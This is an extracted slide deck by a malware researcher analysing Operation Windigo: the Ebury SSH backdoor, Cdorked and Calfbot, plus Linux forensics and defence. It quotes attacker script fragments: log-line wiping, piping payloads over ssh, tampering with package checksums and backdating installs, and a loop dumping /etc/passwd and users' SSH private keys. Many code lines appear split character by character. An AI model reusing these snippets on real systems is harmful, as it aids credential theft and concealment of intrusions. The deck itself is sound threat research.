Malware côté serveur par Marc-Etienne M.Léveillé

Malware côté serveur
—
évolution
, méthodes
d
’opération et forensic
Linux
Marc
Etienne M
.Léveillé
, ESET
( )
@marc
_etienne
_
0

View Slide

:~$ whoami
Marc
Etienne M
.Léveillé
Malware Researcher at ESET
Interested in OS X and Linux threats
InfoSec CTF competition fan

View Slide

:~$ whoami

View Slide

:~$ apropos
What is Operation Windigo
?
Automating a dark cloud
Defeating Ebury
Automating defense

View Slide

:~$ w
| grep
v marc

etienne
aka Who are you
?

View Slide

What is Operation
Windigo
?
Crimeware operation consisting of several malware
components
— Linux
/Ebury
, Linux
/Cdorked and
Perl
/Calfbot
— where the infrastructure is mostly
operated on compromised servers
.
Used for traffic redirection and sending spam
.

View Slide

What is Operation
Windigo
?

View Slide

Operation Windigo
A joint investigation effort

View Slide

Big Picture

View Slide

How does it expand
?

View Slide

End goal
($)
Install malware on Windows end
users
Exploit Kits
: Flashpack
, Blackhole
, RIG
Win
32/Glupteba
(more spam capability
)
Spam
Mostly adult affiliate programs links
Some Casino
Web
site redirections to adult affiliate programs

View Slide

Impact
25 000+ compromised servers
500 000
browser redirections per day
(
20% go to exploit
packs
)
35
M
+ spam sent per day

View Slide

Linux
/Ebury
OpenSSH backdoor
Replacing original OpenSSH binaries
(ssh
, sshd
, ssh

add
)
Then
: replaces a shared library and hooks OpenSSH
’s
address space
Provides a backdoor root shell to the operators
Doesn
’t leave traces behind when used
Steals SSH passwords and keys
When connecting to and from the infected machine

View Slide

How the shared library
works
1. Shared library has a constructor function executed
when loaded
2. Detect main executable that is loading
l
i
b
k
e
y
u
t
i
l
s
.
s
o
3. Hook imported function such as
c
r
y
p
t
and
s
y
s
l
o
g
4. Detect main executable address space
(d
l
o
p
e
n
(
N
U
L
L
)
)
5. Patch code inside main executable to redirect function
calls to the malicious
l
i
b
k
e
y
u
t
i
l
s
.
s
o

View Slide

Hook imported function

View Slide

key
_parse clean

View Slide

key
_parse hooked

View Slide

How information is
exfiltrated
?
1. Passwords are sent inside a DNS packet with all required
information such as username
, target IP address and port
2. Keys are kept in memory and are later fetched by the
operators with the
X
c
a
t
command
9
8
.
1
7
4
.
1
2
1
.
1
9 -
> 7
5
.
8
2
.
5
2
.
1
4 D
N
S S
t
a
n
d
a
r
d q
u
e
r
y 0
x
4
c
d
d A b
7
4
b
e
b
e
1
0
c
a
d
6
f
f
e
6
8
4
b
f
8
a
1
.
6
2
.
2
2
0

View Slide

Backdoor interaction
To trigger the Linux
/Ebury remotely in sshd
, a special SSH
client version identifier is used
1
9
2
.
2
7
.
8
1
.
1
1 -
> 7
8
.
2
4
0
.
1
1
.
4
4 S
S
H S
e
r
v
e
r
: P
r
o
t
o
c
o
l (
S
S
H
-
2
.
0
-
O
p
e
n
S
S
H
_
5
.
3
)
7
8
.
2
4
0
.
1
1
.
4
4 -
> 1
9
2
.
2
7
.
8
1
.
1
1 S
S
H C
l
i
e
n
t
: P
r
o
t
o
c
o
l (
S
S
H
-
2
.
0
-
0
8
6
1
d
6
0
b
2
4
6
5
c
0
3
8
3
0
7
6
d
8
2
3
3
2
7
3
d
a
)
[
1
1 b
y
t
e
s p
a
s
s
w
o
r
d
]
[
o
p
t
i
o
n
a
l 4 b
y
t
e
s c
o
m
m
a
n
d
]
[
o
p
t
i
o
n
a
l 4 b
y
t
e
s a
r
g
u
m
e
n
t
]

View Slide

Backdoor interaction
(cont
.)
5
commands
Xver
: print Linux
/Ebury version installed
Xcat
: print stolen credentials
Xbnd
: choose binded IP address for SSH tunnel
Xpsw
: set additional
4
byte xor key for future backdoor
usage
None
: get a shell

View Slide

Ebury infection map

View Slide

Ebury infection
(top
5)
Position Country Count
1
United States
10,
065
2
Germany
2,
489
3
France
1,
431
4
Italy
1,
169
5
United Kingdom
993
Others
9,
877
Total
26,
024

View Slide

Who ssh with root
?

View Slide

Linux
/Cdorked
httpd
/nginx
/lighttpd backdoor
Replacing binary on the server
Redirect HTTP request on legitimate web site the exploit
packs or affiliate links
Use shared memory
(POSIX IPC
) for state and
configuration
No file on disk
It
’s encrypted with a static XOR key unique per
infection

View Slide

Linux
/Cdorked Stealth

View Slide

Linux
/Cdorked Stealth
(cont
.)
Presence and content of Accept
, Accept
Language
,
Referer
, User
Agent headers
Presence of administrative panel references in URL
*cpanel
*
*secur
*
*bill
*
etc
It is a web page
? (.html
, .php
, etc
)
Did I redirect this client IP address in the last
24
hours
?

View Slide

Cdorked ratio
Only a small percentage of Ebury infected hosts have
Cdorked installed
.

View Slide

Linking Cdorked and
Ebury
Cdorked
| Ebury

View Slide

Perl
/Calfbot
Perl spamming daemon
Deletes itself when running
, resides only in memory
Hides as
c
r
o
n
d

View Slide

POSIX
/Calfbot

View Slide

Windigo group
noteworthy compromises
kernel
.org infected at some point in
2011
cPanel support SSH gateway

View Slide

Why advanced
?
Stealth
close to no disk persistence
uses shared memory
hooks into binaries
do not affect existing services
Effective
large number of compromised servers
validates spamming
maximizes available server resources

View Slide

Automating a dark cloud

View Slide

DevOps malware
operators
?
Found very interesting monitoring and deployments
scripts
Interesting usage
(SSH stream redirections
):
c
a
t p
a
y
l
o
a
d
.
p
l | s
s
h v
i
c
t
i
m p
e
r
l
# o
r
c
a
t p
a
y
l
o
a
d
.
s
h | s
s
h v
i
c
t
i
m b
a
s
h

View Slide

Recon
/ Deployment
scripts
Written in Perl
Always reports to
S
T
D
O
U
T
Errors
Status

View Slide

Perl scripts
Not obfuscated
But as readable as Perl can be

View Slide

Reverse
engineering Perl
Use
p
e
r
l
t
i
d
y
to prettify Perl
Rename variables
vim
: * then
c
i
m
then
(n
then
.
).repeat
()
or your search
/replace of
$
E
D
I
T
O
R
For packed scripts use
B
:
:
D
e
p
a
r
s
e

View Slide

Eliminates evidence
`
m
k
d
i
r -
p /
h
o
m
e
/
t
m
p
q
`
; $
t
f
i
l
e = '
/
h
o
m
e
/
t
m
p
q
/
q
3
d
e
f
'
;
@
b
l
i
s
t
=
`
f
i
n
d /
v
a
r
/
l
o
g -
t
y
p
e f -
m
t
i
m
e -
1 -
s
i
z
e +
1
0
0
M -
l
s
`
; p
r
i
n
t @
b
l
i
s
t i
f @
b
l
i
s
t
;
@
l
o
g
s
=
`
c
a
t /
e
t
c
/
s
y
s
l
o
g
.
c
o
n
f
|
g
r
e
p -
v
i \
"
#
\
"
|
g
r
e
p -
v
i d
e
v
`
;
f
o
r
e
a
c
h (
@
l
o
g
s
) {
$
l
o
g
s
{
$
1
}
+
+ i
f m
|
.
*
?
(
/
.
+
)
| a
n
d n
o
t m
|
/
m
a
i
l
| }
f
o
r
e
a
c
h $
f
i
l
e (
k
e
y
s %
l
o
g
s
) {
n
e
x
t i
f c
h
e
c
k
t
i
m
e
(
$
f
i
l
e
)
; # p
r
i
n
t "
C
h
e
c
k $
f
i
l
e
\
n
"
;
$
s
y
s
t
e
m
=
"
c
a
t $
f
i
l
e
|
e
g
r
e
p -
i \
"
$
n
_
d
a
t
e
\
"
|
e
g
r
e
p -
i \
"
$
s
t
r
i
n
g
\
"
"
; #
p
r
i
n
t "
$
s
y
s
t
e
m
\
n
"
;
$
t
e
s
t
=
`
$
s
y
s
t
e
m
`
; p
r
i
n
t "
F
o
u
n
d i
n $
f
i
l
e
. T
r
y t
o c
o
r
r
e
c
t
\
n
" i
f $
t
e
s
t
; n
e
x
t u
n
l
e
s
s $
t
e
s
t
;
$
s
y
s
t
e
m
=
"
c
a
t $
f
i
l
e
|
e
g
r
e
p -
v
i \
"
$
n
_
d
a
t
e
\
"
>
$
t
f
i
l
e
;
c
a
t $
f
i
l
e
|
e
g
r
e
p \
"
$
n
_
d
a
t
e
\
"
|
e
g
r
e
p -
v
i
# p
r
i
n
t "
$
s
y
s
t
e
m
\
n
"
; #
!
s
y
s
t
e
m
(
$
s
y
s
t
e
m
) }

View Slide

Recon scripts
Checks for LD
_PRELOAD trickery
Various restrictive
s
s
h
configurations
BSD jails
i
f (
-
l '
/
b
i
n
'
) {
p
r
i
n
t "
\
n
\
t
l
A
L
E
R
T
!
!
! /
b
i
n i
s l
i
n
k
, s
e
e
m
s l
i
k
e b
s
d j
a
i
l
\
n
"
;
$
a
l
e
r
t
+
+
}
CPanel
, BRadmin
, Nagios ipcs plugin
, auditd

View Slide

Recon
(cont
)
Generic
s
s
h
honeypots
@
s
d = `
s
t
r
i
n
g
s /
u
s
r
/
s
b
i
n
/
s
s
h
d |
g
r
e
p -
e "
^
/
u
s
r
/
l
o
c
a
l
/
l
i
b
e
x
e
c
"
`
;
c
h
o
m
p @
s
d
;
i
f (
@
s
d
) { p
r
i
n
t "
\
n
\
t
A
L
E
R
T
!
!
! , "
.
j
o
i
n
(
"
|
"
,
@
s
d
)
.
"
\
n
" }
m
y $
p
p
i
d
=
g
e
t
p
p
i
d
;
m
y $
p
b
=
r
e
a
d
l
i
n
k
(
"
/
p
r
o
c
/
$
p
p
i
d
/
e
x
e
"
)
;
i
f (
$
p
b n
e '
/
u
s
r
/
s
b
i
n
/
s
s
h
d
'
) {
p
r
i
n
t "
\
n
\
t
l
A
L
E
R
T
!
!
! p
a
r
e
n
t
:
$
p
b
, $
p
p
i
d
\
n
"
;
$
a
l
e
r
t
+
+
}

View Slide

Recon
(cont
)
Detects available tools
(pkg mgmt
, gcc
, patch
, …
)
Check for header files to compile OpenSSH
Check if Ebury is already installed

View Slide

Recon
(cont
)
Output
[
.
.
.
]
_
#
_
#
_ s
y
s
i
n
f
o
:
_
#
_
#
_ u
n
a
m
e
:
L
i
n
u
x 3
.
2
.
0
-
4
-
a
m
d
6
4 #
1 S
M
P D
e
b
i
a
n 3
.
2
.
4
6
-
1 x
8
6
_
6
4 G
N
U
/
L
i
n
u
x
_
#
_
#
_ d
n
a
m
e
:
/
e
t
c
/
d
e
b
i
a
n
_
v
e
r
s
i
o
n :
7
.
1
_
#
_
#
_ i
s
s
u
e
:
D
e
b
i
a
n G
N
U
/
L
i
n
u
x 7 \
n \
l
_
_
#
_
#
_ s
s
h
:
O
p
e
n
S
S
H
_
6
.
0
p
1 D
e
b
i
a
n
-
4
, O
p
e
n
S
S
L 1
.
0
.
1
e 1
1 F
e
b 2
0
1
3
_
#
_
#
_ p
k
g
:
/
u
s
r
/
b
i
n
/
a
p
t
-
g
e
t
_
#
_
#
_ g
c
c
:
_
#
_
#
_ p
a
t
c
h
:
_
#
_
#
_ b
a
s
h
:
/
b
i
n
/
b
a
s
h
[
.
.
.
]
D
E
B c
h
e
c
k
: o
k
_
#
_
#
_ i
f
c
o
n
f
i
g
:
i
n
e
t a
d
d
r
:
x
x
x
.
x
x
.
x
.
x
x
i
n
e
t a
d
d
r
:
1
2
7
.
0
.
0
.
1 M
a
s
k
:
2
5
5
.
0
.
0
.
0
_
#
_
#
_ i
f
c
o
n
f
i
g
_
e
n
d
a
l
e
r
t
:
'
1
'
; e
x
i
t

View Slide

Deployment script
Uses Perl
’s DATA to pass files through
s
s
h
o
p
e
n
(
T
A
R
,
"
| t
a
r z
x
f - $
l
n $
s
l
"
)
;
b
i
n
m
o
d
e
(
D
A
T
A
)
;
w
h
i
l
e
(
<
D
A
T
A
>
) {
p
r
i
n
t T
A
R $
_
;
}
c
l
o
s
e T
A
R
;
_
_
D
A
T
A
_
_
^
_
<
8
b
>
^
H
^
@
V
Ã
Ç
S
^
@
^
C
í
½ X
^
T
Ç
Ö
0
Ü
3
Ì
(
"
0
h
À
¨
^
Q
^
]
^
U
#
î
<
8
e
>
<
8
2
>
+
( è h
^
@
^
E
<
8
c
>
¸
¯
<
8
8
>
^
K
^
F
g
^
T
^
W
^
P
Ò
`
h
Ú
6
Þ
K
Ì
Í
¢
Ù
4
Ñ
7
1
j
b
ô
Æ
^
]
\
@
<
8
c
>
^
Z
%
Æ
%
j
$
Æ
h
ã
<
9
8
>
<
8
8
>
<
9
a
>
¸
k
ÿ
ç
<
9
c
>
ê
<
8
6
>
<
8
1
>
È
û
Ý
ÿ
û
<
9
e
>
÷
{
<
9
e
>
ÿ
ù
i
m
ª
ê
Ô
©
S
û
©
s
ª
j
ú
Ì
<
9
e
>
9
y
ñ
â
^
^
<
9
6
>
i
<
9
3
>
¹
ÿ
¹
§
;
<
½
^
B
^
B
È
<
8
5
>
§
<
8
6
>
Û
»
g
ï
À
î
<
9
c
>
¥
G
Ï
^
<
9
6
>
Þ
^
A
Ý
^
C
Á
ß
Ý
b
é
Ù
£
^
G
g
î
þ
?
X
¦
Ê
Ç
>
ß
6
)
Õ
l
æ
R
S
R
l
ÿ
^
]
Þ
ÿ
*
þ
ÿ
£
Ï
²
<
8
8
>
¨
Á
z
<
9
d
>
®
2
ì
Â
^
M
à
0
Ô
½
1
^
K
<
8
7
>
¨
p
ÿ
×
ª
Ò
<
8
4
>
p
}
¸
z
ð
÷

View Slide

Deployment script
(cont
)
Altering package management manifests
s
u
b f
i
x
_
m
d
5 {
m
y @
d
f = g
l
o
b
(
"
/
v
a
r
/
l
i
b
/
d
p
k
g
/
i
n
f
o
/
l
i
b
k
e
y
u
t
i
l
s
1
*
.
m
d
5
s
u
m
s
"
)
;
g
e
t
_
m
d
5
(
)
;
o
p
e
n
( $
f
h
, "
<
$
d
f
" )
;
m
y @
q = <
$
f
h
>
;
c
l
o
s
e $
f
h
;
f
o
r (
@
q
) {
$
c
+
+ i
f s
|
\
S
+ $
d
1
/
$
r
f
i
l
e
\
n
|
$
m
d
5 $
d
1
/
$
r
f
i
l
e
\
n
|
}
o
p
e
n
( $
f
h
, "
>
$
d
f
" )
;
p
r
i
n
t $
f
h @
q
;
c
l
o
s
e $
f
h
;
p
r
i
n
t "
m
d
5
f
i
x
: f
i
x
e
d l
i
n
e
s
: $
c
\
n
"
;
}

View Slide

Deployment script
(cont
)
How do you install an rpm in the past
?
$
i
n
s
t
a
l
l
_
t
i
m
e = `
r
p
m -
q -
-
q
f '
%
{
I
N
S
T
A
L
L
T
I
M
E
}
\
n
' k
e
y
u
t
i
l
s
-
l
i
b
s
`
`
M
Y
R
P
M
T
=
"
$
i
n
s
t
a
l
l
_
t
i
m
e
" L
D
_
P
R
E
L
O
A
D
=
.
/
o
v
e
r
r
i
d
e
_
t
i
m
e
.
s
o
r
p
m -
-
r
e
p
l
a
c
e
p
k
g
s -
-
r
e
p
l
a
c
e
f
i
l
e
s -
-
n
o
s
c
r
i
p
t
s -
-
n
o
s
i
g
n
a
t
u
r
e -
U m
a
l
i
c
i
o
u
s
_
l
i
b
k
e
y
u
t
i
l
s
_
p
a
c
k
a
g

View Slide

Deployment script
(cont
)
# r
p
m -
-
v
e
r
i
f
y k
e
y
u
t
i
l
s
-
l
i
b
s
(
n
o e
r
r
o
r
)
# r
p
m -
q
i k
e
y
u
t
i
l
s
-
l
i
b
s
N
a
m
e : k
e
y
u
t
i
l
s
-
l
i
b
s R
e
l
o
c
a
t
i
o
n
s
: (
n
o
t r
e
l
o
c
a
t
a
b
l
e
)
V
e
r
s
i
o
n : 1
.
4 V
e
n
d
o
r
: C
e
n
t
O
S
R
e
l
e
a
s
e : 4
.
e
l
6 B
u
i
l
d D
a
t
e
: F
r
i 2
2 J
u
n 2
0
1
2 0
2
:
2
0
:
3
8 A
M E
D
T
I
n
s
t
a
l
l D
a
t
e
: M
o
n 2
7 J
a
n 2
0
1
4 0
6
:
0
8
:
4
3 A
M E
S
T B
u
i
l
d H
o
s
t
: c
6
b
1
0
.
b
s
y
s
.
d
e
v
.
c
e
n
t
o
s
.
o
r
g
G
r
o
u
p : S
y
s
t
e
m E
n
v
i
r
o
n
m
e
n
t
/
B
a
s
e S
o
u
r
c
e R
P
M
: k
e
y
u
t
i
l
s
-
1
.
4
-
4
.
e
l
6
.
s
r
c
.
r
p
m
S
i
z
e : 5
9
3
2
0 L
i
c
e
n
s
e
: G
P
L
v
2
+ a
n
d L
G
P
L
v
2
+
S
i
g
n
a
t
u
r
e : R
S
A
/
S
H
A
1
, S
u
n 2
4 J
u
n 2
0
1
2 0
6
:
1
8
:
5
1 P
M E
D
T
, K
e
y I
D 2
1
e
f
c
4
b
f
7
1
f
b
f
e
7
b
U
R
L : h
t
t
p
:
/
/
p
e
o
p
l
e
.
r
e
d
h
a
t
.
c
o
m
/
~
d
h
o
w
e
l
l
s
/
k
e
y
u
t
i
l
s
/
S
u
m
m
a
r
y : K
e
y u
t
i
l
i
t
i
e
s l
i
b
r
a
r
y
D
e
s
c
r
i
p
t
i
o
n :
T
h
i
s p
a
c
k
a
g
e p
r
o
v
i
d
e
s a w
r
a
p
p
e
r l
i
b
r
a
r
y f
o
r t
h
e k
e
y m
a
n
a
g
e
m
e
n
t f
a
c
i
l
i
t
y s
y
s
t
e
m
c
a
l
l
s
.

View Slide

Daily monitoring script
Bash
Grabs keys
, known hosts
, user ssh configs
e
c
h
o _
_
% P
a
s
s
w
d
c
a
t /
e
t
c
/
p
a
s
s
w
d
# [
.
.
.
]
u
d
=
`
a
w
k -
F
'
:
' '
{
p
r
i
n
t $
6
}
' <
/
e
t
c
/
p
a
s
s
w
d
|
s
o
r
t -
u
`
;
e
c
h
o _
_
% K
H
o
s
t
s
f
o
r f i
n $
u
d
;
d
o c
a
t $
f
/
.
s
s
h
/
k
n
o
w
n
_
h
o
s
t
s 2
>
/
d
e
v
/
n
u
l
l
;
d
o
n
e
e
c
h
o _
_
% S
S
H
C
o
n
f
f
o
r f i
n $
u
d
;
d
o c
a
t $
f
/
.
s
s
h
/
c
o
n
f
i
g 2
>
/
d
e
v
/
n
u
l
l &
& e
c
h
o _
%
_
_
$
{
f
}
;
d
o
n
e
e
c
h
o _
_
% S
S
H
K
e
y
s
_
p
r
i
v
f
o
r f i
n $
u
d
;
d
o
[ -
e $
f
/
.
s
s
h
/
i
d
_
r
s
a ] &
& { e
c
h
o _
%
_
_
$
f
/
.
s
s
h
/
i
d
_
r
s
a
;
c
a
t $
f
/
.
s
s
h
/
i
d
_
r
s
a
;
e
c
h
o
; }
[ -
e $
f
/
.
s
s
h
/
i
d
_
d
s
a ] &
& { e
c
h
o _
%
_
_
$
f
/
.
s
s
h
/
i
d
_
d
s
a
;
c
a
t $
f
/
.
s
s
h
/
i
d
_
d
s
a
;
e
c
h
o
; } d
o
n
e

View Slide

Other scripts findings
Modifies SELinux policy
Various styles of installation
precompiled libraries
on
site compilation
packages
Looks for over
40
backdoors
/rootkits

View Slide

DevOps malware
operators
Manage their infrastructure with code
Pass data in
band with
s
s
h
Eliminate logs
, restore timestamps
Get rid of security features

View Slide

Defeating Ebury

View Slide

Same privileges
How to spy on a malicious user with the same privileges
?
syslog
: omits logging
package manifests
: tampered
tcpdump
: Ebury stops on
I
F
F
_
P
R
O
M
I
S
C
, ssh traffic is
encrypted
core dumping processes and shared memory
: long
auditd
!

View Slide

auditd
The Linux audit framework provides an auditing system that
reliably collects information about any security
relevant
(or non

security
relevant
) event on a system
.
logging syscalls
logs can be sent over the network
a
u
d
i
t
c
t
l -
a e
x
i
t
,
a
l
w
a
y
s -
S e
x
e
c
v
e

View Slide

auditd logs
t
y
p
e
=
E
X
E
C
V
E m
s
g
=
a
u
d
i
t
(
1
3
7
3
8
3
8
2
3
9
.
3
4
0
:
4
4
7
4
2
0
0
)
: a
r
g
c
=
4 a
0
=
"
r
m
" a
1
=
"
-
f
" a
2
=
"
-
f
" a
3
=
"
/
t
m
p
/
q
"
t
y
p
e
=
C
W
D m
s
g
=
a
u
d
i
t
(
1
3
7
3
8
3
8
2
3
9
.
3
4
0
:
4
4
7
4
2
0
0
)
: c
w
d
=
"
/
h
o
m
e
/
t
m
p
p
/
o
p
e
n
s
s
h
-
5
.
9
p
1
"
t
y
p
e
=
P
A
T
H m
s
g
=
a
u
d
i
t
(
1
3
7
3
8
3
8
2
3
9
.
3
4
0
:
4
4
7
4
2
0
0
)
: i
t
e
m
=
0 n
a
m
e
=
"
/
b
i
n
/
r
m
"
\
- i
n
o
d
e
=
2
2
2
8
2
2
8
8 d
e
v
=
0
8
:
0
1 m
o
d
e
=
0
1
0
0
7
5
5 o
u
i
d
=
0 o
g
i
d
=
0 r
d
e
v
=
0
0
:
0
0
t
y
p
e
=
P
A
T
H m
s
g
=
a
u
d
i
t
(
1
3
7
3
8
3
8
2
3
9
.
3
4
0
:
4
4
7
4
2
0
0
)
: i
t
e
m
=
1 n
a
m
e
=
(
n
u
l
l
) i
n
o
d
e
=
4
4
5
6
7
9
6
\
- d
e
v
=
0
8
:
0
1 m
o
d
e
=
0
1
0
0
7
5
5 o
u
i
d
=
0 o
g
i
d
=
0 r
d
e
v =
0
0
:
0
0
t
y
p
e
=
S
Y
S
C
A
L
L m
s
g
=
a
u
d
i
t
(
1
3
7
3
8
3
8
2
3
9
.
3
4
1
:
4
4
7
4
2
0
1
)
: a
r
c
h
=
c
0
0
0
0
0
3
e s
y
s
c
a
l
l
=
5
9
\
- s
u
c
c
e
s
s
=
y
e
s e
x
i
t
=
0 a
0
=
1
f
2
9
d
4
0 a
1
=
1
e
e
c
5
f
0 a
2
=
1
f 0
3
e
c
0 a
3
=
7
f
f
f
d
6
b
e
9
a
6
0
\
- i
t
e
m
s
=
2 p
p
i
d
=
1
3
4
0
3 p
i
d
=
2
1
2
8
7 a
u
i
d
=
5
0
1 u
i
d
=
0 g
i
d
=
0 e
u
i
d
=
0
\
- s
u
i
d
=
0 f
s
u
i
d
=
0 e
g
i
d
=
0 s
g
i
d
=
0 f
s
g
i
d
=
0 t
t
y =
p
t
s
0 s
e
s
=
1
2
8
2
3
2 c
o
m
m
=
"
t
o
u
c
h
" e
x
e
=
"
/
b
i
n
/
t
o
u
c
h
"
t
y
p
e
=
E
X
E
C
V
E m
s
g
=
a
u
d
i
t
(
1
3
7
3
8
3
8
2
3
9
.
3
4
1
:
4
4
7
4
2
0
1
)
: a
r
g
c
=
4 a
0
=
"
t
o
u
c
h
" a
1
=
"
-
r
"
\
- a
2
=
"
/
e
t
c
/
s
s
h
/
s
s
h
d
_
c
o
n
f
i
g
" a
3
=
"
/
e
t
c
/
s
s
h
/
s
s
h
_
c
o
n
f
i
g
"

View Slide

auditd logs
(cont
.)
On non
ascii arguments it switches to hex
t
y
p
e
=
E
X
E
C
V
E m
s
g
=
a
u
d
i
t
(
1
3
7
3
8
3
7
9
5
2
.
2
7
8
:
4
4
7
3
2
9
0
)
: a
r
g
c
=
2
6 a
0
=
"
g
c
c
" a
1
=
"
-
g
"
a
2
=
"
-
O
2
" a
3
=
"
-
W
a
l
l
" a
4
=
"
-
W
p
o
i
n
t
e
r
-
a
r
i
t
h
" a
5
=
"
-
W
u
n
i
n
i
t
i
a
l
i
z
e
d
"
a
6
=
"
-
W
s
i
g
n
-
c
o
m
p
a
r
e
" a
7
=
"
-
W
f
o
r
m
a
t
-
s
e
c
u
r
i
t
y
" a
8
=
"
-
W
n
o
-
p
o
i
n
t
e
r
-
s
i
g
n
"
a
9
=
"
-
W
n
o
-
u
n
u
s
e
d
-
r
e
s
u
l
t
" a
1
0
=
"
-
f
n
o
-
s
t
r
i
c
t
-
a
l
i
a
s
i
n
g
" a
1
1
=
"
-
f
n
o
-
b
u
i
l
t
i
n
-
m
e
m
s
e
t
"
a
1
2
=
"
-
f
s
t
a
c
k
-
p
r
o
t
e
c
t
o
r
-
a
l
l
" a
1
3
=
"
-
I
.
" a
1
4
=
"
-
I
.
"
a
1
5
=
2
D
4
4
5
3
5
3
4
8
4
4
4
9
5
2
3
D
2
2
2
F
6
5
7
4
6
3
2
F
7
3
7
3
6
8
2
2 a
1
6
=
2
D
4
4
5
F
5
0
4
1
5
4
4
8
5
F
5
3
5
3
4
8
5
F
5
0
5
2
4
F
4
7
5
2
4
1
4
D
3
D
2
2
2
F
7
5
7
3
7
2
2
F
6
C
6
F
6
3
6
1
6
C
2
F
6
2
6
9
6
E
2
F
7
3
7
3
6
8
2
2
[
.
.
.
]
a
2
1
=
2
D
4
4
5
F
5
0
4
1
5
4
4
8
5
F
5
3
5
3
4
8
5
F
5
0
4
9
4
4
4
4
4
9
5
2
3
D
2
2
2
F
7
6
6
1
7
2
2
F
7
2
7
5
6
E
2
2
a
2
2
=
2
D
4
4
5
F
5
0
4
1
5
4
4
8
5
F
5
0
5
2
4
9
5
6
5
3
4
5
5
0
5
F
4
3
4
8
5
2
4
F
4
F
5
4
5
F
4
4
4
9
5
2
3
D
2
2
2
F
7
6
6
1
7
2
2
F
6
5
6
D
7
0
7
4
7
9
2
2
a
2
3
=
"
-
D
H
A
V
E
_
C
O
N
F
I
G
_
H
" a
2
4
=
"
-
c
" a
2
5
=
"
r
s
a
.
c
"
$ i
p
y
t
h
o
n
i
n [
1
]
: (
'
2
D
4
4
5
F
5
0
4
1
5
4
4
8
5
F
5
3
5
3
4
8
5
F
5
0
4
B
4
3
5
3
3
1
3
1
5
F
4
8
4
5
4
C
5
0
4
5
5
2
'
'
3
D
2
2
2
F
7
5
7
3
7
2
2
F
6
C
6
F
6
3
6
1
6
C
2
F
6
C
6
9
6
2
6
5
7
8
6
5
6
3
2
F
7
3
7
3
6
8
2
D
'
'
7
0
6
B
6
3
7
3
3
1
3
1
2
D
6
8
6
5
6
C
7
0
6
5
7
2
2
2
'
)
.
d
e
c
o
d
e
(
'
h
e
x
'
)
O
u
t
[
2
]
: '
-
D
_
P
A
T
H
_
S
S
H
_
P
K
C
S
1
1
_
H
E
L
P
E
R
=
"
/
u
s
r
/
l
o
c
a
l
/
l
i
b
e
x
e
c
/
s
s
h
-
p
k
c
s
1
1
-
h
e
l
p
e
r
"
'

View Slide

Going out
of
band
1. Built a man
in
the
middle ssh gateway
2. Leaked credentials
3. Waited
…
4. …
5. Profit
!

View Slide

As simple as that
/
-
-
-
-
-
-
-
-
-
-
-
- <
C
L
O
U
D
> -
-
-
-
-
-
-
-
-
-
-
-
-
\
W
A
N D
M
Z
I
n
t
e
r
n
e
t <
-
-
-
> g
a
t
e
w
a
y <
-
-
-
> S
e
r
v
e
r
(
m
i
t
m
-
s
s
h
) (
s
o
m
e f
a
k
e
w
o
r
k
l
o
a
d
)
/
-
-
-
-
-
-
-
-
-
-
-
- <
/
C
L
O
U
D
> -
-
-
-
-
-
-
-
-
-
-
-
-
/

View Slide

What we have learned
1. Gather system information with perl script
2. Install Ebury with perl script
3. Monitor infected servers daily with bash script run from
the Ebury backdoor

View Slide

What about production
servers
?
Forensics and incident response

View Slide

Caution
Running at same privilege level
It
’s an arm
’s race
Aim for out
of
band
(network or memory acquisition
)

View Slide

Process analysis
Once you
’ve found an interesting process
Dump process memory
s
t
r
i
n
g
s -
a
, g
d
b
, IDA Pro
g
c
o
r
e p
i
d

View Slide

Did you know
?
p
r
o
c
allows you to extract deleted executables
# n
o
r
m
a
l
$ s
u
d
o l
s -
l /
p
r
o
c
/
1
7
9
0
2
/
e
x
e
l
r
w
x
r
w
x
r
w
x 1 r
o
o
t r
o
o
t 0 S
e
p 2
6 1
3
:
1
1 /
p
r
o
c
/
1
7
9
0
2
/
e
x
e -
> \
\
- /
h
o
m
e
/
o
l
i
v
i
e
r
/
s
r
c
/
n
g
i
n
x
-
1
.
5
.
3
/
n
g
i
n
x
$ s
h
a
1
s
u
m /
h
o
m
e
/
o
l
i
v
i
e
r
/
s
r
c
/
n
g
i
n
x
-
1
.
5
.
3
/
n
g
i
n
x
f
b
b
4
9
3
f
8
3
e
6
7
a
6
5
1
c
c
b
b
f
7
3
a
5
a
d
2
2
c
a
6
7
1
9
c
1
9
e
4 /
h
o
m
e
/
o
l
i
v
i
e
r
/
s
r
c
/
n
g
i
n
x
-
1
.
5
.
3
/
n
g
i
n
x
$ s
u
d
o r
m /
h
o
m
e
/
o
l
i
v
i
e
r
/
s
r
c
/
n
g
i
n
x
-
1
.
5
.
3
/
n
g
i
n
x
# r
e
m
o
v
e
d
$ s
u
d
o l
s -
l /
p
r
o
c
/
1
7
9
0
2
/
e
x
e
l
r
w
x
r
w
x
r
w
x 1 r
o
o
t r
o
o
t 0 S
e
p 2
6 1
3
:
1
1 /
p
r
o
c
/
1
7
9
0
2
/
e
x
e -
> \
\
- /
h
o
m
e
/
o
l
i
v
i
e
r
/
s
r
c
/
n
g
i
n
x
-
1
.
5
.
3
/
n
g
i
n
x (
d
e
l
e
t
e
d
)
$ s
u
d
o c
p /
p
r
o
c
/
1
7
9
0
2
/
e
x
e .
/
n
g
i
n
x
$ s
h
a
1
s
u
m n
g
i
n
x
f
b
b
4
9
3
f
8
3
e
6
7
a
6
5
1
c
c
b
b
f
7
3
a
5
a
d
2
2
c
a
6
7
1
9
c
1
9
e
4 n
g
i
n
x

View Slide

Network evasion
SSH tunnels
nginx reverse proxies
IP in IP tunnels
NAT

View Slide

Finding network level
modifications
Audit your iptables NAT table rules
i
p
t
a
b
l
e
s -
t n
a
t -
L -
n
v
i
p
t
a
b
l
e
s
-
s
a
v
e

View Slide

modifications
Audit your iptables NAT table rules
Rules in the NAT table to bounce traffic of compromised
servers
-
A P
R
E
R
O
U
T
I
N
G -
d x
x
.
x
x
.
5
1
.
1
4
/
3
2 -
p u
d
p -
m u
d
p -
-
d
p
o
r
t 5
3 -
j D
N
A
T -
-
t
o
-
d
e
s
t
i
n
a
t
i
o
n x
x
x
.
x
x
.
2
-
A P
O
S
T
R
O
U
T
I
N
G -
d x
x
x
.
x
x
.
2
2
5
.
2
0
0
/
3
2 -
p u
d
p -
m u
d
p -
-
d
p
o
r
t 5
3 -
j S
N
A
T -
-
t
o
-
s
o
u
r
c
e x
x
.
x
x
.
5
1
.

View Slide

modifications
Audit your IP in IP tunnels
i
f
c
o
n
f
i
g
and look for
: L
i
n
k e
n
c
a
p
:
I
P
I
P T
u
n
n
e
l
i
p t
u
n
n
e
l s
h
o
w
i
p r
o
u
t
e s
h
o
w
t
u
n
l
0
: i
p
/
i
p r
e
m
o
